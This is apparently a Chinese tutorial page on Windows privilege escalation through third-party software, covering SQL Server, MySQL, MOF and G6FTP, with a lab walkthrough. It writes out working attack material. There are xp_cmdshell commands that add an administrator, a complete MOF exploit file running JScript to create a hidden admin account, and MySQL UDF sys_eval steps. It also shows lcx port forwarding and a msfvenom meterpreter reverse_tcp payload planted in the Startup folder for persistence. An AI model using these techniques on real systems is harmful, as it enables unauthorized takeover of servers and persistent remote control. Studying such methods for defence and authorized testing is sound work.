Windows提权之第三方提权(九)

除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对, 会对服务器造成安全隐患,从而导致服务器被提权。

一.sqlserver提权

1.描述

如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令

2.敏感文件
web.config 
config.asp 
conn.aspx 
database.aspx

3. 复现

使用mssql连接工具或者webshell net提权脚本输入账号和密码连接开启xp_cmdshell

开启xp_cmdshell

Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。

二.mysql提权

1.描述

在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微

dll,c语言编写

2.插件目录

可以使用语句查询plugin插件目录

show variables like "%plugin%"

我们打开phpadmin

假如这个目录 或者配置文件不存在 我们都无法读出成功

我们查看是3306端口开启

然后去我们访问

我们首先先找到这个目录

C:/phpStudy/MySQL/lib

把这个dll文件你删除掉

我么首先关闭phpstudy服务 让后在删除删除

然后我们导出udf

这里显示导出成功

然后我们点击 创建函数

这里是创建函数的sql语句

然后我们查看用户

然后查看创建的函数

查看端口

自己输入指令

select sys_eval('whoami')

发现我们是系统权限

所以我们增加超级管理员

然后查询权限

然后我们就可以是使用3389登录

3.mysql提权问题

1.版本有32和64位的mysql创建函数的方法一样,但是64版本的要用64的udf.dll

2.TheMySQLserverisrunningwiththe--secure-file-privoptionsoitcannotexecutethis statement

这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可

SELECT @@global.secure_file_priv

如果显示null 那摩也不行

3.Can'tcreate/writetofile'D:\phpStudy\MySQL\lib\plugin\moonudf.dll

这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够

三.mof提权

1.描述

托管对象格式 (MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF文件将在 CIM储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI和 VisualStudioAnalyzer使用。 在 MOF文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译

2.原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命

令。

3.影响版本

1.windows03及以下版本

2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录3.secure-file-priv参数不为null

4.复现

公开的nullevt.mof利用代码

#pragma namespace("\\\\.\\root\\subscription")

instance of EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2"; Name	= "filtP2";
Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};

instance of FilterToConsumerBinding
{
Consumer	= $Consumer; Filter = $EventFilter;
};

上传mof.php

然后添加host文件

首先我们要增加账户

先查看账户

我们来创建隐藏账户(在net user 里边看不见)

我们在这里查看隐藏账号

这里边也创建了文件

我们来输入

net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\

在这里我们发现已经成功了

四.G6FTP提权

1.描述

G6FTPServer新一代的 FTP服务器端软件,支持 RFC-959标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

2.原理

G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端 口转发(使用lcx工具(lcx具有三个功能:监听、转发、端口转向))。

netstat -ano 查看G6fp端口

TCP 127.0.0.1:21 0.0.0.0:0 LISTENING 1072

TCP 127.0.0.1:8021 0.0.0.0:0 LISTENING 1072

TCP 192.168.25.146:21 0.0.0.0:0 LISTENING 1072

3.复现

在webshell访问 配置文件C:\ProgramFiles (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\

我们打开编辑

[Server]
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
[Acct=Administrator]
Enabled=1
Rights=0
Password=E10ADC3949BA59ABBE56E057F20F883E
[Acct=admin]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=
[Acct=moonsec]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=*
RootFolder=C:
Rights=1
IPAccessList=
[Acct=admins]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=

密码是123456

可以看到8021端口只能被本地访问

使用端口转发工具把8021端口转发出来

C:\inetpub\wwwroot\lcx.exe

我们输入

然后 输入执行

C:\inetpub\wwwroot\lcx.exe -tran 2333 127.0.0.1 8021

然后我们再终端输入

然后我们打开win10

新建 连接

在域控里新建用户

ftp 192.168.25.146

ftp 192.168.25.146

然后

我们这里失败了

我们呢也可以试试别的

ftp://192.168.25.146/

我们右键点击登录

我们用这个文件来替换

然后我们生成

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.25.138 lport=6666 -f exe > 8.exe

然后我们再本地做监听

然后我们生成好的 上传到目标主机

然后重启

我们也可以放到启动项

ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start% 20Menu/Programs/Startup/

里来进行提权

相关推荐
HYNuyoah16 分钟前
阿里云ECS Ubuntu PPTP VPN无法访问以太网
linux·服务器·网络
李恩1128 分钟前
nginx的作用和应用场景
运维·nginx
大丈夫在世当日食一鲲30 分钟前
Java的流表达式使用
java·开发语言·windows
手捧向日葵的话语35 分钟前
线程控制(创建、终止、等待、分离)
linux·运维·服务器
扛枪的书生39 分钟前
Windows 提权-不安全的 GUI 程序
windows·渗透·kali·提权
网络安全Max1 小时前
网络安全清单
安全·web安全·智能路由器
NUA努努1 小时前
【tplink】校园网接路由器如何单独登录自己的账号,wan-lan和lan-lan区别
网络·路由器·校园网
酥暮沐2 小时前
Docker 学习(一)
运维·docker·容器
莫思竹2 小时前
ctfshow——域名TXT记录泄露
运维·服务器·网络·数据结构·安全·web安全
常达物联2 小时前
UWB人员定位:精准、高效、安全的智能管理解决方案
安全·uwb技术·uwb定位·uwb系统